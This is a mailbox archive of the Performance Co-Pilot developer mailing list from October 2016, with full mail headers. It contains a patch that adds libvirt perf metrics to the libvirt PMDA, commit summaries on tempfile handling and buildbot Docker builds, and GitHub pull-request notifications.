List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-Barracuda-Connect: smtp-outgoing-69.servers.netregistry.net[202.124.241.69] X-Barracuda-Start-Time: 1475607753 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2368 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.28 X-Barracuda-Spam-Status: No, SCORE=1.28 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_24, HTML_IMAGE_ONLY_24_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33469 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 HTML_IMAGE_ONLY_24_2 HTML: images with 2000-2400 bytes of words ----==_mimepart_57f3fcbb3c89f_287d3f912744b2c092376 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Yeah 30s should be improved if possible. Once you get past that, presumably going to a per-host view, how is performance for you? -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/issues/117#issuecomment-251481496 ----==_mimepart_57f3fcbb3c89f_287d3f912744b2c092376 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit

Yeah 30s should be improved if possible. Once you get past that, presumably going to a per-host view, how is performance for you?


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

----==_mimepart_57f3fcbb3c89f_287d3f912744b2c092376-- From myllynen@redhat.com Tue Oct 4 14:40:37 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id CEB427CB1 for ; Tue, 4 Oct 2016 14:40:37 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A28E18F8035 for ; Tue, 4 Oct 2016 12:40:34 -0700 (PDT) X-ASG-Debug-ID: 1475610031-0bf57b1e91153a20001-S8gJnT Received: from mail-wm0-f50.google.com (mail-wm0-f50.google.com [74.125.82.50]) by cuda.sgi.com with ESMTP id uwS6cWRsod4MPkDt (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Tue, 04 Oct 2016 12:40:32 -0700 (PDT) X-Barracuda-Envelope-From: myllynen@redhat.com X-Barracuda-Effective-Source-IP: mail-wm0-f50.google.com[74.125.82.50] X-Barracuda-Apparent-Source-IP: 74.125.82.50 Received: by mail-wm0-f50.google.com with SMTP id k125so226414975wma.1 for ; Tue, 04 Oct 2016 12:40:32 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:reply-to:to:from:subject:organization:message-id :date:user-agent:mime-version:content-transfer-encoding; bh=tmMjTyLJoRKxk+hIvlwFS0/yVM37DqJh/nX6zBQWjeo=; b=XZajZyoOm5Ty5fP9RmPsd8IUE9h2gQMWwYszrjtuoh+fbgqPGoayUWFEHDDJNJ+/SR v1aSzM+jGuvK4IfjjaAJ2wIXfc2OGx8XF437Sv5imZbX5jZNGEcFzbP7RXSEf/m4Jxlo U2e7yrVG9+EjOO4dtAQwM/OvGZBfOtPB1caFxvMQMq8a/ul+RbOD+gK1y1vnwf+gefP4 H3Gx757H7fewUL175KJO/W0XRBTPEbLyu1HnBx4c+gQGosUxAo5zQn1Q+umBuPkKdwQx QNAKSJZk8Q++kXw4BwyjCZUiNrgoDEYKqjGIzkFZivBS6yu5zS8ZHuPwFoaKknFBfVAE wm0A== X-Gm-Message-State: AA6/9Rn6kqPq49Qx8YV9QWOwVJumVeJhA5vW+4T9JyGxo0rBwEPvlKXOAcAfoOUg5P52cX0z X-Received: by 10.28.127.209 with SMTP id a200mr4961089wmd.99.1475610030610; Tue, 04 Oct 2016 12:40:30 -0700 (PDT) Received: from [192.168.1.100] (188-67-161-78.bb.dnainternet.fi. [188.67.161.78]) by smtp.gmail.com with ESMTPSA id us3sm5064469wjb.32.2016.10.04.12.40.29 for (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 04 Oct 2016 12:40:30 -0700 (PDT) Reply-To: Marko Myllynen To: pcp developers From: Marko Myllynen Subject: libvirt pmda: add support for new perf metrics Organization: Red Hat X-ASG-Orig-Subj: libvirt pmda: add support for new perf metrics Message-ID: Date: Tue, 4 Oct 2016 22:40:28 +0300 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Thunderbird/45.4.0 MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-wm0-f50.google.com[74.125.82.50] X-Barracuda-Start-Time: 1475610031 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2031 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33470 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi, libvirt 2.3 added a couple of new perf metrics: https://libvirt.org/git/?p=libvirt.git;a=commit;h=bae660869de0612bee2a740083fb494c27e3f80c After some consultation with FChE, the types below are believed to be correct, considering also: https://bugzilla.redhat.com/show_bug.cgi?id=1381714 It would be of course nice if someone with access to a system supporting all these events / metrics would be able to confirm. --- src/pmdas/libvirt/pmdalibvirt.python | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/src/pmdas/libvirt/pmdalibvirt.python b/src/pmdas/libvirt/pmdalibvirt.python index e88e11a..d34c95c 100755 --- a/src/pmdas/libvirt/pmdalibvirt.python +++ b/src/pmdas/libvirt/pmdalibvirt.python @@ -247,6 +247,10 @@ class LibvirtPMDA(PMDA): [ 'domstats.perf.cmt', None, PM_TYPE_U64, PM_SEM_INSTANT, units_bytes, 'VM perf stats, cmt' ], [ 'domstats.perf.mbmt', None, PM_TYPE_U64, PM_SEM_INSTANT, units_bpers, 'VM perf stats, mbmt' ], [ 'domstats.perf.mbml', None, PM_TYPE_U64, PM_SEM_INSTANT, units_bpers, 'VM perf stats, mbml' ], + [ 'domstats.perf.cpu_cycles', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'VM perf stats, CPU cycles/instr' ], + [ 'domstats.perf.instructions', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'VM perf stats, instructions count' ], + [ 'domstats.perf.cache_references', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'VM perf stats, cache references' ], + [ 'domstats.perf.cache_misses', None, PM_TYPE_U64, PM_SEM_COUNTER, units_count, 'VM perf stats, cache misses' ], ] for item in range(len(self.hv_metrics)): Thanks, -- Marko Myllynen From nscott@redhat.com Tue Oct 4 20:06:53 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 6A59E7CA7 for ; Tue, 4 Oct 2016 20:06:53 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C7ACCAC001 for ; Tue, 4 Oct 2016 18:06:49 -0700 (PDT) X-ASG-Debug-ID: 1475629603-0bf57c7e20162d60001-S8gJnT Received: from mx6-phx2.redhat.com (mx6-phx2.redhat.com [209.132.183.39]) by cuda.sgi.com with ESMTP id OITgVklGebEAx1Cw (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 04 Oct 2016 18:06:44 -0700 (PDT) X-Barracuda-Envelope-From: nscott@redhat.com X-Barracuda-Effective-Source-IP: mx6-phx2.redhat.com[209.132.183.39] X-Barracuda-Apparent-Source-IP: 209.132.183.39 Received: from zmail20.collab.prod.int.phx2.redhat.com (zmail20.collab.prod.int.phx2.redhat.com [10.5.83.23]) by mx6-phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u9516hhe039828 for ; Tue, 4 Oct 2016 21:06:43 -0400 Date: Tue, 4 Oct 2016 21:06:43 -0400 (EDT) From: Nathan Scott Reply-To: Nathan Scott To: pcp developers Message-ID: <968543424.499952.1475629603520.JavaMail.zimbra@redhat.com> In-Reply-To: <2104208106.499938.1475629590786.JavaMail.zimbra@redhat.com> Subject: pcp updates: libvirt, scripts MIME-Version: 1.0 X-ASG-Orig-Subj: pcp updates: libvirt, scripts Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit X-Originating-IP: [10.64.48.46] X-Mailer: Zimbra 8.0.6_GA_5922 (ZimbraWebClient - FF49 (Linux)/8.0.6_GA_5922) Thread-Topic: pcp updates: libvirt, scripts Thread-Index: 0zdY5Lbw9x3usFTVh19FIOQ3ABaJGA== X-Barracuda-Connect: mx6-phx2.redhat.com[209.132.183.39] X-Barracuda-Start-Time: 1475629604 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2542 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.02 X-Barracuda-Spam-Status: No, SCORE=0.02 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33480 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... Changes committed to git://git.pcp.io/pcp.git master Marko Myllynen (2): libvirt pmda: cosmetic update to connect script libvirt pmda: add support for new perf metrics Nathan Scott (1): scripts: ensure correct tempfile handling used throughout man/man3/pmda.3 | 10 +-- src/include/pcp.env | 13 +++- src/pmcd/pmdaproc.sh | 97 +++++++++++++++++------------------ src/pmdas/libvirt/connect | 2 src/pmdas/libvirt/pmdalibvirt.python | 4 + 5 files changed, 70 insertions(+), 56 deletions(-) commit a2a727b24388375f52b8aa7de5e74619d90fdb53 Author: Marko Myllynen Date: Wed Oct 5 12:04:29 2016 +1100 libvirt pmda: add support for new perf metrics Support new perf metrics from libvirt version 2.3: https://libvirt.org/git/?p=libvirt.git;a=commit;h=bae660869de0612bee2a740083fb494c27e3f80c commit f57656734ca1397e27312a0b6aa3da7ab4e0db9a Author: Marko Myllynen Date: Wed Oct 5 12:01:18 2016 +1100 libvirt pmda: cosmetic update to connect script commit faebf41be59418c7d829fd054048ff27cb5cd946 Author: Nathan Scott Date: Wed Oct 5 11:37:46 2016 +1100 scripts: ensure correct tempfile handling used throughout Auditing recent SElinux failure logs came across an accidental regression from recent changes, where we've started using /tmp directly in _get_pids_by_name rather than the tmpfile handling of the calling script. This is further complicated by pmdaproc.sh having some special tmpfile handling ($__tmp instead of $tmp) which also conflicts accidentally with same-named variable use in _get_pids_by_name. So, this change makes _get_pids_by_name use the $tmp scheme of the calling script. It also updates pmdaproc.sh to share this same scheme (keeping $__tmp for Install/Remove back-compat). The PMDA(3) man page is updated to reflect this, and to correct the discussion of $__tmp (which was a directory even before the change being made here, so some wording there was NQR). It would be good to switch pcp/qa over to using mktemp rather than its own scheme, but thats a much larger change. So, I've put a little note in _get_pids_by_name to this affect, and we allow it to continue to be called from QA (with a file prefix, rather than a directory prefix for tmpfiles, IOW). From noreply@github.com Wed Oct 5 11:39:19 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_IMAGE_ONLY_28, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 74B727CA0 for ; Wed, 5 Oct 2016 11:39:19 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id E97B8AC001 for ; Wed, 5 Oct 2016 09:39:15 -0700 (PDT) X-ASG-Debug-ID: 1475685549-0bf81567112524f0001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-66.servers.netregistry.net [202.124.241.66]) by cuda.sgi.com with ESMTP id mIOMs5uhlEFHFOwE (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 05 Oct 2016 09:39:10 -0700 (PDT) X-Barracuda-Envelope-From: noreply@github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.66 Received: from github-smtp2-ext2.iad.github.net ([192.30.252.193] helo=github-smtp2b-ext-cp1-prd.iad.github.net) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1brpDk-0001NK-Hm for ; Thu, 06 Oct 2016 03:39:07 +1100 Date: Wed, 05 Oct 2016 09:38:57 -0700 X-Barracuda-Effective-Source-IP: UNKNOWN[192.30.252.193] X-Barracuda-Apparent-Source-IP: 192.30.252.193 X-Barracuda-RBL-IP: 192.30.252.193 X-Barracuda-BBL-IP: 192.30.252.193 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=github.com; s=pf2014; t=1475685537; bh=FbfNFqYO2QSBrbYadJpz7h2h9rMsGfURJF8lRbhROE4=; h=From:Reply-To:To:Subject:List-ID:List-Archive:List-Post: List-Unsubscribe:From; b=m22ZVvz7aPic4XfP4EH9xlQChP3uTMVIb6pMD6/pS7AqRXRWcJM1n7pg/1qN28his fuG22UmtO2Oe8LYgpVslm/cZMdJ8njjSTUJ8V810Vr0/J1hj3LlXKO9MqOarY4ZnXV rhmrDATaLYleFrj3Gx+Zbt8gJ3pzgGfqWH/6oBQs= From: "Frank Ch. Eigler" Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: Subject: [performancecopilot/pcp] relaxing the specificity of the cpu_cycle metric's documentation (#119) Mime-Version: 1.0 X-ASG-Orig-Subj: [performancecopilot/pcp] relaxing the specificity of the cpu_cycle metric's documentation (#119) Content-Type: multipart/alternative; boundary="--==_mimepart_57f52ca14d683_285b3fcf8fb1d2a0940b"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: fche X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-Barracuda-Connect: smtp-outgoing-66.servers.netregistry.net[202.124.241.66] X-Barracuda-Start-Time: 1475685550 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 3388 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.73 X-Barracuda-Spam-Status: No, SCORE=0.73 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_28, HTML_IMAGE_ONLY_28_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33495 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_28 BODY: HTML: images with 2400-2800 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.73 HTML_IMAGE_ONLY_28_2 HTML: images with 2400-2800 bytes of words ----==_mimepart_57f52ca14d683_285b3fcf8fb1d2a0940b Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit ... considering that it's likely in error in the libvirt upstream. You can view, comment on, or merge this pull request online at: https://github.com/performancecopilot/pcp/pull/119 -- Commit Summary -- * relaxing the specificity of the cpu_cycle metric's documentation -- File Changes -- M src/pmdas/libvirt/pmdalibvirt.python (2) -- Patch Links -- https://github.com/performancecopilot/pcp/pull/119.patch https://github.com/performancecopilot/pcp/pull/119.diff -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/pull/119 ----==_mimepart_57f52ca14d683_285b3fcf8fb1d2a0940b Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit

... considering that it's likely in error in the libvirt upstream.


You can view, comment on, or merge this pull request online at:

  https://github.com/performancecopilot/pcp/pull/119

Commit Summary

  • relaxing the specificity of the cpu_cycle metric's documentation

File Changes

Patch Links:


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

----==_mimepart_57f52ca14d683_285b3fcf8fb1d2a0940b-- From lberk@redhat.com Wed Oct 5 20:51:08 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 2150E7CA0 for ; Wed, 5 Oct 2016 20:51:08 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 84AB5AC002 for ; Wed, 5 Oct 2016 18:51:04 -0700 (PDT) X-ASG-Debug-ID: 1475718662-0bf57b1e9321f120001-S8gJnT Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4wFa9CCHORCdGOlQ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 05 Oct 2016 18:51:03 -0700 (PDT) X-Barracuda-Envelope-From: lberk@redhat.com X-Barracuda-Effective-Source-IP: mx1.redhat.com[209.132.183.28] X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.redhat.com (Postfix) with ESMTPS id C24BF7F7AD for ; Thu, 6 Oct 2016 01:51:02 +0000 (UTC) Received: from toium (vpn-58-177.rdu2.redhat.com [10.10.58.177]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id u961p0Jl011771 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 5 Oct 2016 21:51:02 -0400 From: Lukas Berk To: pcp@oss.sgi.com Subject: pcp updates: qa, buildbot Date: Wed, 05 Oct 2016 21:51:00 -0400 X-ASG-Orig-Subj: pcp updates: qa, buildbot Message-ID: <87lgy2b5yz.fsf@redhat.com> User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16 (mx1.redhat.com [10.5.110.28]); Thu, 06 Oct 2016 01:51:02 +0000 (UTC) X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1475718663 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 1295 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Hi, Changes committed to git://git.pcp.io/lberk/pcp.git master Lukas Berk (2): Add additional network filter to qa/581 Revamp buildbot config and Dockerfile based builds qa/581 | 1 qa/buildbot/Dockerfile.centos7.qa | 16 ++ qa/buildbot/Dockerfile.debian8.qa | 20 +++ qa/buildbot/Dockerfile.fedora23.qa | 17 ++ qa/buildbot/Dockerfile.fedora24.qa | 17 ++ qa/buildbot/Dockerfile.mingw.build | 9 + qa/buildbot/master.cfg | 231 +++++++++++++++++-------------------- 7 files changed, 189 insertions(+), 122 deletions(-) Details ... commit 67f2a50b918c595f81ef5ee2a2c41b48c7ca2ba8 Author: Lukas Berk Date: Wed Oct 5 20:23:03 2016 -0400 Revamp buildbot config and Dockerfile based builds Buildbot 0.9 has introduced several config file changes, prep for that. Also transition to a docker based approach so a host can run multiple testruns at once, and eventually we'll be able to make failed qa run environments directly via our own miniture registry (perhaps). commit 4daf72a298c4dfafd35a8563fdad1dedad45a987 Author: Lukas Berk Date: Wed Sep 28 09:09:15 2016 -0400 Add additional network filter to qa/581 From bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com Thu Oct 6 01:24:59 2016 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.8 required=5.0 tests=HTML_IMAGE_ONLY_24, HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: pcp@oss.sgi.com Delivered-To: pcp@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3E3DE7CA0 for ; Thu, 6 Oct 2016 01:24:59 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0E8C6304048 for ; Wed, 5 Oct 2016 23:24:58 -0700 (PDT) X-ASG-Debug-ID: 1475735091-0bf57c7e211e8220001-S8gJnT Received: from smtp-mx-server-8.servers.netregistry.net (smtp-outgoing-66.servers.netregistry.net [202.124.241.66]) by cuda.sgi.com with ESMTP id jvogy8xWJgVgsvKG (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 05 Oct 2016 23:24:53 -0700 (PDT) X-Barracuda-Envelope-From: bounces+848413-2b58-pcp=kenj.com.au@sgmail.github.com X-Barracuda-RBL-Trusted-Forwarder: 202.124.241.66 Received: from o8.sgmail.github.com ([167.89.101.199]) by smtp-mx-server-8.servers.netregistry.net protocol: esmtps (Exim 4.84_2 #1 (Debian)) id 1bs26p-0005aW-CJ for ; Thu, 06 Oct 2016 17:24:50 +1100 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=github.com; h=from:reply-to:to:in-reply-to:references:subject:mime-version:content-type:content-transfer-encoding:list-id:list-archive:list-post:list-unsubscribe; s=s20150108; bh=4hSsBGL9RkrjJzx2SFW3APsWtP4=; b=hemb89OyKj+ZpEiK 4B0nu7Ui/eqT3YWn1cPftWlbo9B0wdBbd0Z3AEwASqp5LGn9rnOFAM1LS0IQlylh 0wb0UBzTnm4/dP2YCvDKrpop0/3cXtV+zcq8yf6sLoAV+emf7+DU8bnKLTzFqZNS +u3s5JWsAoGkOcgkxPevXQ95bO8= X-Barracuda-Effective-Source-IP: o8.sgmail.github.com[167.89.101.199] X-Barracuda-Apparent-Source-IP: 167.89.101.199 X-Barracuda-RBL-IP: 167.89.101.199 X-Barracuda-BBL-IP: 167.89.101.199 Received: by filter0943p1mdw1.sendgrid.net with SMTP id filter0943p1mdw1.10983.57F5EE273B 2016-10-06 06:24:39.835169153 +0000 UTC Received: from github-smtp2b-ext-cp1-prd.iad.github.net (github-smtp2b-ext-cp1-prd.iad.github.net [192.30.253.17]) by ismtpd0004p1iad1.sendgrid.net (SG) with ESMTP id plBP7nspQ3edNZSivZHPsg for ; Thu, 06 Oct 2016 06:24:39.963 +0000 (UTC) Date: Wed, 05 Oct 2016 23:24:39 -0700 From: Nathan Scott Reply-To: performancecopilot/pcp To: performancecopilot/pcp Message-ID: In-Reply-To: References: Subject: Re: [performancecopilot/pcp] relaxing the specificity of the cpu_cycle metric's documentation (#119) Mime-Version: 1.0 X-ASG-Orig-Subj: Re: [performancecopilot/pcp] relaxing the specificity of the cpu_cycle metric's documentation (#119) Content-Type: multipart/alternative; boundary="--==_mimepart_57f5ee27bf0a7_13d73fddb48892b81084d4"; charset=UTF-8 Content-Transfer-Encoding: 7bit Precedence: list X-GitHub-Sender: natoscott X-GitHub-Recipient: pcpemail List-ID: performancecopilot/pcp List-Archive: https://github.com/performancecopilot/pcp List-Post: List-Unsubscribe: , X-Auto-Response-Suppress: All X-GitHub-Recipient-Address: pcp@kenj.com.au X-SG-EID: XHgpD0I4dwPyvalfBvzXHjYOnBNKyEST/hu/iWGWJEf2zjfqMEvQRXyK+2x1UNhkiYRO05mUC7Bp5P //z9f4NqtULSrxWC2Cl8Em44VMVAugm5u943K9mWZLmKJYc6VqA0WARsOFWUUnfO/A80u16FraiZmS EXVUVbst1vp9fSMoeW0DBkj19PVxRx/eCVFT56i6uzYILDAtf31Ou8JTwKmw88C/ivouRTUzjKy9xr U= X-Barracuda-Connect: smtp-outgoing-66.servers.netregistry.net[202.124.241.66] X-Barracuda-Start-Time: 1475735093 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Barracuda-Scan-Msg-Size: 2260 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.28 X-Barracuda-Spam-Status: No, SCORE=1.28 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_24, HTML_IMAGE_ONLY_24_2, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.33518 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_24 BODY: HTML: images with 2000-2400 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 HTML_IMAGE_ONLY_24_2 HTML: images with 2000-2400 bytes of words ----==_mimepart_57f5ee27bf0a7_13d73fddb48892b81084d4 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Merged #119. -- You are receiving this because you are subscribed to this thread. Reply to this email directly or view it on GitHub: https://github.com/performancecopilot/pcp/pull/119#event-814291802 ----==_mimepart_57f5ee27bf0a7_13d73fddb48892b81084d4 Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: 7bit

Merged #119.


You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub, or mute the thread.

